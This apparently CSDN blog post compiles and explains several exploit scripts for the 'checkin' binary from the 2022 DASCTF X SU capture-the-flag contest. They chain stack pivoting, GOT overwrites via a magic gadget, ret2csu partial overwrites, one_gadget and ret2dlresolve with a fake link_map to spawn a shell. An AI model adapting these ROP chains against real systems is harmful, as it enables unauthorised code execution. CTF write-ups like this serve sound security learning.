2022DASCTF X SU 三月春季挑战赛 checkin 各种脚本学习分析

只能溢出0x10个字节,刚好能够覆盖返回地址,所以得利用栈迁移来做

第一种:利用magic_gadget修改got表中setvbuf的值

在64位程序的_do_global_dtors_aux中有这么一个gadget十分有用,可以直接改栈数据magic_gadget:add dword ptr [rbp - 0x3d], ebx ; nop ; ret

利用read函数溢出,迁移栈到bss段上,然后通过一些小gadget调整寄存器的值来达到目的

出处:2022DASCTFXSU三月春季挑战赛-pwn-wp - LynneHuan - 博客园

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF('./libc.so.6')
    gift['libc'] = libc

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00


def exp_magic():
    pop_rbx_rbp_r12131415 = 0x40124a

    # 栈迁移到bss段
    payload = flat({
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    })

    s(payload)

    libc_puts = libc.sym.puts
    libc_setvbuf = libc.sym.setvbuf

    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)

    # 修改setvbuf为puts
    payload = flat(
        {
            0: [
                pop_rbx_rbp_r12131415,
                offset,
                elf.got.setvbuf+0x3d,
                0, 0, 0, 0,
                magic,
                ret,
                pop_rdi_ret,
                elf.got.read,
                elf.plt.setvbuf,
                pop_rbp_ret,
                bss_addr+0xa0,
                read_again
            ],
            0xa0: [
                bss_addr - 8,
                leave_ret
            ]
        }
    )
    s(payload)

    read_addr = u64_ex(rl()[:-1])
    libc_base = read_addr - libc.sym.read
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    # 读取输入,执行system('/bin/sh')
    payload = flat({
        0:[
            pop_rdi_ret,
            libc.search(b"/bin/sh").__next__(),
            libc.sym.system
        ],
        0x70: leave_ret,
        0xa0: [
            bss_addr - 8,
            leave_ret
        ]
    })
    s(payload)
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

def exp_partial_write():
    bss_addr = elf.got.setvbuf
    # 栈迁移
    layout = {
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    }
    s(flat(layout))

    # rop1
    layout = {
        0xa0: [
            bss_addr,
            leave_ret
        ],
        0: [
            bss_addr+0x68,
            pop_rsi_r15_ret,
            elf.got.read-8,
            0,
            elf.plt.read,
            0x40124a,  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
            0, # rbx
            2, # rbp
            bss_addr & ~0xfff,
            0x1000,
            7,
            elf.got.read,
            0x401230, # csu up
            ShellcodeMall.amd64.execve_bin_sh
        ]
    }
    s(flat(layout))
    s(b"a"*8 + p16(0x8000))
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

if __name__ == "__main__":
    # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
    # try:
    #     exp_partial_write()
    # except:
    #     pass

    exp_magic()

这个脚本用的是pwncli写的,也是学习了一下新工具,这脚本好像不受glibc版本限制,glibc版本是2.31,用ida打开给的so文件就能看见,Ubuntu18也能成功获得shell,改成pwntools调试了一下第一个函数(ubuntu20)

from pwn import *

p = process('./checkin')
libc = ELF('./libc.so.6')
elf = ELF('./checkin')
context(arch='amd64', log_level='debug')

def exp_magic(p):

    global libc
    global elf
    pop_rbx_rbp_r12131415 = 0x40124a
    # bss
    payload = b'a'*0xa0+p64(0x404080 + 0xa00 + 0xa0)+p64(0x4011bf)

    p.send(payload)

    libc_puts = libc.sym['puts']
    libc_setvbuf = libc.sym['setvbuf']
    print(libc_puts)
    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)
    print(hex(offset))

    # setvbuf->puts
    payload = flat([
        pop_rbx_rbp_r12131415,
        offset,
        elf.got['setvbuf']+0x3d,
        0,0,0,0,
        0x40113c,   #magic
        #0x40101a,  #ret    调整栈帧,这里用了,后面read返回地址需要+8
        0x401253, #pop_rdi_ret
        elf.got['read'],
        elf.plt['setvbuf'],
        p64(0x40113d), #pop_rbp_ret
        p64(0x404080 + 0xa00 +0xa0),    # +0xa0原因:调用read函数前的两句汇编
                                                    #lea    rax, [rbp - 0xa0] 
                                                    #mov    rsi, rax
                p64(0x4011bf)
    ])
    # gdb.attach(p)
    payload = payload.ljust(0xa0,b'\x00')
    payload += p64(0x404080 + 0xa00 - 8) + p64(0x4011e2) #leave_ret
    p.send(payload)
    sleep(1)
    read_addr = u64(p.recvline()[:-1].ljust(8,b"\x00"))

    print(read_addr)

    libc_base = read_addr - libc.sym['read']
    log.info(hex(libc_base))
    libc.address = libc_base
    # gdb.attach(p)
    # system('/bin/sh')
    payload = flat([
            0x401253, #pop_rdi_ret
            libc.address+0x1b45bd,
            libc.sym['system']
    ])
    payload =  payload.ljust(0x68,b'\x00')    #后面是read函数的返回地址
    payload += p64(0x4011dd) + p64(0) + p64(0) + p64(0)+ p64(0)+ p64(0)+ p64(0) + p64(0x404080 + 0xa00 - 8) + p64(0x4011e2)

    p.send(payload)
    sleep(1)
    
    p.interactive()

if __name__ == "__main__":
    
    exp_magic(p)

第二种:利用ret2csu修改got表地址,通过栈迁移控制程序流

(1)修改got表中read地址为syscall,通过栈迁移控制程序流执行execve("/bin/sh",0,0)

由于read函数和syscall函数后三位全不一样,所以要修改两字节,程序加载时后三位不变,所以倒数第四位每次运行只有1/16的概率对

出处:2022DASCTF X SU 三月春季挑战赛 Pwn题WP - Ch4rc0al 的博客

from pwn import *
context(arch='amd64', log_level='debug')
flag = 0
ps = './checkin'
libc = ELF("./libc.so.6")
elf = ELF(ps)


def getConn():
    global flag
    if(flag == 1):
        return remote(host, port)
    return process(ps)


def debug(conn, arg=None):
    global flag
    if(flag == 1):
        return
    gdb.attach(conn, arg)
    pause()


def csu(call, rdi, rsi, rdx):
    csu_end = 0x40124A
    csu_front = 0x401230
    payload = p64(csu_end)+p64(0)+p64(1)+p64(rdi)+p64(rsi) + \
        p64(rdx)+p64(call)+p64(csu_front)+b'\x00'*0x38
    return payload


leave_ret = 0x00000000004011e2
p_rsi_15 = 0x0000000000401251
p_rdi = 0x0000000000401253
addr = elf.bss()+0x500
p = getConn()


p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)

log.info(hex(addr+160))

pay = csu(elf.got['read'], 0, elf.got['read'], 2) + \
    p64(0x401156)

pay = pay.ljust(0xa0, b'\x00')
pay += p64(addr-8)+p64(leave_ret)
p.send(pay)


sleep(0.1)

p.send('\x00\xb0')

sleep(0.1)

addr += 0x100

p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)

binsh = addr-0x100

pay = csu(elf.got['read'], 0, binsh, 8)+p64(0x401156)
p.send(pay.ljust(0xa0, b'\0')+p64(addr-8)+p64(leave_ret))
sleep(0.1)

p.send('/bin/sh\x00')

sleep(0.1)
addr += 0x100

# debug(p)

p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)

pay = p64(0x40124a)+p64(0)+p64(1)+p64(0)+p64(addr+0x100)+p64(59)+p64(elf.got['read'])+p64(
    0x401230)+p64(0)*3+p64(binsh)+p64(0)*2+p64(elf.got['read'])+p64(0x401230)

p.send(pay.ljust(0xa0, b'\0')+p64(addr-8)+p64(leave_ret))

sleep(0.1)
p.send('\x00'*59)


p.interactive()

(2)修改got表中setvbuf地址为puts地址来泄露libc地址,然后控制程序流执行one_gadget一把梭

这里一样的后三位都不相同,所以也得爆破半个字节

出处:奇安信攻防社区-DASCTF SU三月赛 WriteUp

from pwn import *

p = process("./checkin")

#p = remote("node4.buuoj.cn",29509)

libc = ELF("./libc.so.6")

context.log_level = "debug"

context.arch = "amd64"

gdb.attach(p)

payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF)  #buf = 0x4040c0

p.send(payload)

payload = flat([  #csu

    0x404140,    #nouse

    0x40124A,  # pop 6

    0,1,      #rbx rbp

    0x404040, # stdout  r12

    0,0,    # r13 r14

    0x404020,  #r15 setvbuf_got

    0x401230,  # ret 

    0,0,   #+8 rbx

    0x404140, #rbp

    0,0,0,0, #12 13 14 15

    0x4011BF #read = put

    ])

payload = payload.ljust(0xa0,b"\x00") + p64(0x404020+0xa0) + p64(0x4011bf) #read 

p.send(payload)

sleep(0.1)

p.send(b"\x50\xc4")

sleep(0.1)

libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) -0x1ed6a0

success("libc_base:"+hex(libc_base))

p.send(b"a"*0xa0 +p64(libc_base+0xe3b2e)*2 ) 

p.interactive()

第三种:ret2dl x64(失败)

补(2022年4月11日21:49)

from pwn import *
context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
io = process("./checkin")
elf = ELF("./checkin")

bss_addr = elf.bss()
csu_front_addr = 0x401230
csu_end_addr = 0x40124A
#vuln_addr = 0x400676
leave_ret = 0x00000000004011e2
read_got = elf.got['read']


def csu(rbx, rbp, r15, r12, r13, r14):
    # pop rbx, rbp, r12, r13, r14, r15
    # rbx = 0
    # rbp = 1, enable not to jump
    # r12 should be the function that you want to call
    # rdi = edi = r15d
    # rsi = r14
    # rdx = r13
    payload = p64(csu_end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += '\x00' * 0x38
    return payload


def ret2dlresolve_with_fakelinkmap_x64(elf, fake_linkmap_addr, known_function_ptr, offset_of_two_addr):
    '''
    elf: is the ELF object

    fake_linkmap_addr: the address of the fake linkmap

    known_function_ptr: a already known pointer of the function, e.g., elf.got['__libc_start_main']

    offset_of_two_addr: target_function_addr - *(known_function_ptr), where
                        target_function_addr is the function you want to execute

    WARNING: assert *(known_function_ptr-8) & 0x0000030000000000 != 0 as ELF64_ST_VISIBILITY(o) = o & 0x3

    WARNING: be careful that fake_linkmap is 0x100 bytes length   

    we will do _dl_runtime_resolve(linkmap,reloc_arg) where reloc_arg=0

    linkmap:
        0x00: l_addr = offset_of_two_addr
      fake_DT_JMPREL entry, addr = fake_linkmap_addr + 0x8
        0x08: 17, tag of the JMPREL
        0x10: fake_linkmap_addr + 0x18, pointer of the fake JMPREL
      fake_JMPREL, addr = fake_linkmap_addr + 0x18
        0x18: p_r_offset, offset pointer to the resloved addr
        0x20: r_info
        0x28: append
      resolved addr
        0x30: r_offset
      fake_DT_SYMTAB, addr = fake_linkmap_addr + 0x38
        0x38: 6, tag of the DT_SYMTAB
        0x40: known_function_ptr-8, p_fake_symbol_table
      command that you want to execute for system
        0x48: /bin/sh
      P_DT_STRTAB, pointer for DT_STRTAB
        0x68: fake a pointer, e.g., fake_linkmap_addr
      p_DT_SYMTAB, pointer for fake_DT_SYMTAB
        0x70: fake_linkmap_addr + 0x38
      p_DT_JMPREL, pointer for fake_DT_JMPREL
        0xf8: fake_linkmap_addr + 0x8
    '''
    plt0 = elf.get_section_by_name('.plt').header.sh_addr

    linkmap = p64(offset_of_two_addr & (2**64 - 1))
    linkmap += p64(17)  + p64(fake_linkmap_addr + 0x18)
    # here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
    # as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
    linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
                   & (2**64 - 1)) + p64(0x7) + p64(0)
    linkmap += p64(0)
    linkmap += p64(6) + p64(known_function_ptr-8)
    linkmap += '/bin/sh\x00'           # cmd offset 0x48
    linkmap = linkmap.ljust(0x68, '\x00')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, '\x00')
    linkmap += p64(fake_linkmap_addr + 8)

    resolve_call = p64(plt0+6) + p64(fake_linkmap_addr) + p64(0)
    return (linkmap, resolve_call)

gdb.attach(io)
pause()

offset = 0xa0
libc = ELF('./libc.so.6')


csu_addr = bss_addr + 0x300 + 0xa0

payload = '\x00' * offset
payload += p64(csu_addr)
payload += p64(0x4011BF)
io.send(payload)

#io.interactive()

fake_linkmap_addr = bss_addr+0x500
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read'])


payload = csu(0,1,read_got,0,fake_linkmap_addr-0x40,len(link_map+resolve_call)+0x28)
payload += p64(0x401156)

payload = payload.ljust(0xa0,'\x00')
payload += p64(csu_addr - 0xa8)
payload += p64(leave_ret)
io.send(payload)


# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location

pop_rdi = 0x401253
pop_rsi_r15 = 0x401251

payload = flat([
  pop_rsi_r15,
  0,
  0,
  pop_rdi,
  fake_linkmap_addr + 0x48,
  resolve_call,
  link_map
])
  

io.send(payload)

io.send('\x00' * 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))


'''
#0x00000000004007a1: pop rsi; pop r15; ret; 
rop.raw(0x00000000004007B1)  # stack align 16 bytes
rop.raw(0)
rop.raw(0)
rop.raw(0x4007b3)  # 0x00000000004007a3: pop rdi; ret;
rop.raw(fake_linkmap_addr + 0x48)
rop.raw(resolve_call)
io.send(rop.chain())
'''
io.interactive()

 能够成功解析到system函数,但是不能调用成功,这是错误的语句,不知道啥原因,望大佬告知

上述原因:是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system("/bin/sh")之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.

由于这里是使用plt延迟技术自己计算得到system函数地址并执行,所以没有办法通过ret进行调整栈帧,有其他办法望大佬告知。

来源:pwn system(“/bin/sh“)失败的原因_flypwn的博客-CSDN博客_system/bin/sh

解决:感谢CatF1y师傅的指导

这个我之前本地调栈帧的时候因为在flat中加ret,后面的rbp地址也要跟着动,所以rsp一直会保持平衡,在返回到resolve_call前末尾一直都是0,所以在前面赋值fake_linkmap_addr多加上一个0x8就行了,但是会报另外一个错,rsp+0x18地址不可写的问题

这个时候再调整一下fake_linkmap_addr,加上0x200使得rsp抬高就能成功利用

from pwn import *
context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
io = process("./checkin")
elf = ELF("./checkin")
 
bss_addr = elf.bss()
csu_front_addr = 0x401230
csu_end_addr = 0x40124A
#vuln_addr = 0x400676
leave_ret = 0x00000000004011e2
read_got = elf.got['read']
 
 
def csu(rbx, rbp, r15, r12, r13, r14):
    # pop rbx, rbp, r12, r13, r14, r15
    # rbx = 0
    # rbp = 1, enable not to jump
    # r12 should be the function that you want to call
    # rdi = edi = r15d
    # rsi = r14
    # rdx = r13
    payload = p64(csu_end_addr)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += '\x00' * 0x38
    return payload
 
 
def ret2dlresolve_with_fakelinkmap_x64(elf, fake_linkmap_addr, known_function_ptr, offset_of_two_addr):
    '''
    elf: is the ELF object
    fake_linkmap_addr: the address of the fake linkmap
    known_function_ptr: a already known pointer of the function, e.g., elf.got['__libc_start_main']
    offset_of_two_addr: target_function_addr - *(known_function_ptr), where
                        target_function_addr is the function you want to execute
    WARNING: assert *(known_function_ptr-8) & 0x0000030000000000 != 0 as ELF64_ST_VISIBILITY(o) = o & 0x3
    WARNING: be careful that fake_linkmap is 0x100 bytes length   
    we will do _dl_runtime_resolve(linkmap,reloc_arg) where reloc_arg=0
    linkmap:
        0x00: l_addr = offset_of_two_addr
      fake_DT_JMPREL entry, addr = fake_linkmap_addr + 0x8
        0x08: 17, tag of the JMPREL
        0x10: fake_linkmap_addr + 0x18, pointer of the fake JMPREL
      fake_JMPREL, addr = fake_linkmap_addr + 0x18
        0x18: p_r_offset, offset pointer to the resloved addr
        0x20: r_info
        0x28: append
      resolved addr
        0x30: r_offset
      fake_DT_SYMTAB, addr = fake_linkmap_addr + 0x38
        0x38: 6, tag of the DT_SYMTAB
        0x40: known_function_ptr-8, p_fake_symbol_table
      command that you want to execute for system
        0x48: /bin/sh
      P_DT_STRTAB, pointer for DT_STRTAB
        0x68: fake a pointer, e.g., fake_linkmap_addr
      p_DT_SYMTAB, pointer for fake_DT_SYMTAB
        0x70: fake_linkmap_addr + 0x38
      p_DT_JMPREL, pointer for fake_DT_JMPREL
        0xf8: fake_linkmap_addr + 0x8
    '''
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
 
    linkmap = p64(offset_of_two_addr & (2**64 - 1))
    linkmap += p64(17)  + p64(fake_linkmap_addr + 0x18)
    # here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
    # as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
    linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
                   & (2**64 - 1)) + p64(0x7) + p64(0)
    linkmap += p64(0)
    linkmap += p64(6) + p64(known_function_ptr-8)
    linkmap += '/bin/sh\x00'           # cmd offset 0x48
    linkmap = linkmap.ljust(0x68, '\x00')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8, '\x00')
    linkmap += p64(fake_linkmap_addr + 8)
 
    resolve_call = p64(plt0+6) + p64(fake_linkmap_addr) + p64(0)
    return (linkmap, resolve_call)
 
gdb.attach(io)
pause()
 
offset = 0xa0
libc = ELF('./libc.so.6')
 
 
csu_addr = bss_addr + 0x300 + 0xa0
 
payload = '\x00' * offset
payload += p64(csu_addr)
payload += p64(0x4011BF)
io.send(payload)
 
#io.interactive()
 
fake_linkmap_addr = bss_addr+0x700 + 0x8
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read'])
 
 
payload = csu(0,1,read_got,0,fake_linkmap_addr-0x40,len(link_map+resolve_call)+0x28)
payload += p64(0x401156)
 
payload = payload.ljust(0xa0,'\x00')
payload += p64(csu_addr - 0xa8)
payload += p64(leave_ret)
io.send(payload)
 
 
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
 
pop_rdi = 0x401253
pop_rsi_r15 = 0x401251
ret_addr = 0x40101a
 
payload = flat([
  pop_rsi_r15,
  0,
  0,
  pop_rdi,
  fake_linkmap_addr + 0x48,
  resolve_call,
  link_map
])
  
 
io.send(payload)
 
io.send('\x00' * 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))
 
 
'''
#0x00000000004007a1: pop rsi; pop r15; ret; 
rop.raw(0x00000000004007B1)  # stack align 16 bytes
rop.raw(0)
rop.raw(0)
rop.raw(0x4007b3)  # 0x00000000004007a3: pop rdi; ret;
rop.raw(fake_linkmap_addr + 0x48)
rop.raw(resolve_call)
io.send(rop.chain())
'''
io.interactive()

CatF1y师傅的代码

from pwn import * 
from LibcSearcher import * 
context.log_level = 'debug' 
p=process('./checkin') 
#p=remote('node4.buuoj.cn',26747) 
libc=ELF('./libc.so.6') 
elf=ELF('./checkin') 
readaddr=0x4011BF 
readplt=elf.plt['read'] 
readgot=elf.got['read'] 
poprdi=0x0000000000401253 
poprsi=0x0000000000401251 
ret=0x4011E3 
bss=0x404600 
fake_link_addr=0x404700 
leaveret=0x4011E2

plt0 = elf.get_section_by_name(".plt").header.sh_addr
l_addr = libc.sym['system'] - libc.sym['read']
st_value = elf.got['read']

def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
    #the address of each fake pointer
    fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
    fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
    fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
    #fake structure
    fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
    fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
    r_offset = fake_link_map_addr -l_addr
    fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
    #fake_link_map
    fake_link_map =p64(l_addr&(2**64-1))#0x8
    fake_link_map+=fake_Elf64_Dyn_SYM#0x18
    fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
    fake_link_map+=fake_Elf64_rela #0x40
    fake_link_map+=b"\x00"*0x28#0x68
    fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
    fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
    fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
    fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
    return fake_link_map
fake_link_map=get_fake_link_map(fake_link_addr,l_addr,st_value)
log.info('len->'+hex(len(fake_link_map)))
gdb.attach(p)
pause()
payload=b'a'*0xa0+p64(bss)+p64(readaddr)
p.send(payload)

payload=b'a'*0xa0+p64(bss+0xa0)+p64(readaddr)
p.send(payload)


payload=b'a'*8+p64(poprdi)+p64(0)+p64(poprsi)+p64(fake_link_addr)+p64(0)+p64(readplt) #0x38
payload+=p64(poprdi)+p64(0)+p64(poprsi)+p64(fake_link_addr+0xb0)+p64(0)+p64(readplt)#Ox70
#用ret连接rip
payload+=p64(ret)+p64(poprdi)+p64(fake_link_addr+0x78)+p64(plt0+6)+p64(fake_link_addr)+p64(0)
payload=payload.ljust(0xb0,b'\x00')
p.send(payload)
p.send(fake_link_map[0:0xb0])
p.send(fake_link_map[0xb0:0x100])
p.interactive()

其他参考链接:

ret2dlresolve - CTF Wiki

Advanced ROP · 语雀

[原创]ROP高级用法之ret2_dl_runtime_resolve-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

magic gadget | DaiDai's blog

极客大挑战pwn - EDS

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值